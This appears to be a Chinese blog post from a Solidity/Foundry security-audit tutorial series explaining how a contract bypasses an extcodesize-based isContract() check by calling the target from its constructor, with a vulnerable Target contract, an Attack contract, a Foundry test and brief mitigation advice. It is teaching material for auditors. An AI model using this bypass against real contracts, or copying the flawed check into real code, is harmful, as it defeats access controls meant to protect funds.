Solidity&Foundry 安全审计测试 绕过isContract()校验

名称:

绕过isContract()校验

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi

描述:

出于安全原因,某些智能合约方法被定义为只接受来自外部自有账户(EOA)的调用,而不接受来自其他智能合约的调用。

依赖于extcodesize方法来实现检查存储代码的大小,我们可以确定给定地址是已部署的智能合约还是账户(EOA),但是这存在漏洞,很容易被攻击者绕过。

在合约构造函数执行期间,被部署的智能合约的extcodesize将返回零。在智能合约创建过程结束之前,地址中不存在代码。

过程:

1、部署Target 合约。

2、部署Attack合约 ,使用foundry模拟攻击。在Attack构造函数内部,Target被调用了Protected()方法。鉴于Attack仍在其部署过程中,在isContract()方法中检查的Attack地址的extcodesize为零。这样,Attack合约就有可能绕过这个检查并成功进行攻击。

解决方法:

检查目标地址是否未未合约是有用的,例如,防止用户将资金或代币转移到可能使其永久锁定的合约中。当函数出于安全原因要求调用者是帐户(EOA)时,我们应该避免依赖此方法。

如果目的是防止来自其他合约的调用,(tx.Origin == msg.sender)可以使用,尽管它也有缺点和潜在的漏洞。

合约:

javascript 复制代码
contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}
javascript 复制代码
contract Attack {

    bool public isContract;

    address public addr;

    constructor(address _target) {

        isContract = Target(_target).isContract(address(this));

        addr = address(this);

        Target(_target).protected();
    }
}

foundry合约:

javascript 复制代码
function testBypassContractCheck() public {
    console.log("Before exploiting, protected status of TargetContract:", TargetContract.pwned());

    AttackerContract = new Attack(address(TargetContract));

    console.log("After exploiting, protected status of TargetContract:", TargetContract.pwned());

    console.log("Exploit completed");
}
相关推荐
独行soc1 小时前
2025年渗透测试面试题总结-长某亭科技-安全服务工程师(一面)(题目+回答)
科技·安全·面试·职场和发展·红蓝攻防·护网·2025
FIN66681 小时前
通领科技冲刺北交所
大数据·科技·安全·搜索引擎
金士镧新材料有限公司1 小时前
创新科技,绿色防护——稀土抑烟剂让板材更安全
科技·安全
倒霉男孩11 小时前
单例设计模式---懒汉式--线程安全和不安全、枚举类
安全·单例模式·设计模式
sky丶Mamba11 小时前
Spring框架中的单例Bean是线程安全的吗
java·安全·spring
the sun3412 小时前
HTTPS安全通信协议原理
网络协议·安全·https
#咸菜12 小时前
RuleOS:区块链开发的“新引擎”,点燃Web3创新之火
区块链
一面千人13 小时前
Avalanche公链深度解析:创新共识、亚秒级最终性与生态竞争力
区块链·arbitrum·公链·polygon·solana·亚稳态·sui·aptos·dag·bsc·optimism·avalanche·雪崩共识·亚秒级·最终性·雪崩效应
元宇宙时间14 小时前
TON基金会确认冠名赞助2025香港Web3嘉年华,并将于4月8日重磅呈现“TON生态日”
人工智能·去中心化·区块链·gpu算力
#咸菜14 小时前
RuleOS:区块链开发的“破局者”,开启Web3新纪元
web3·区块链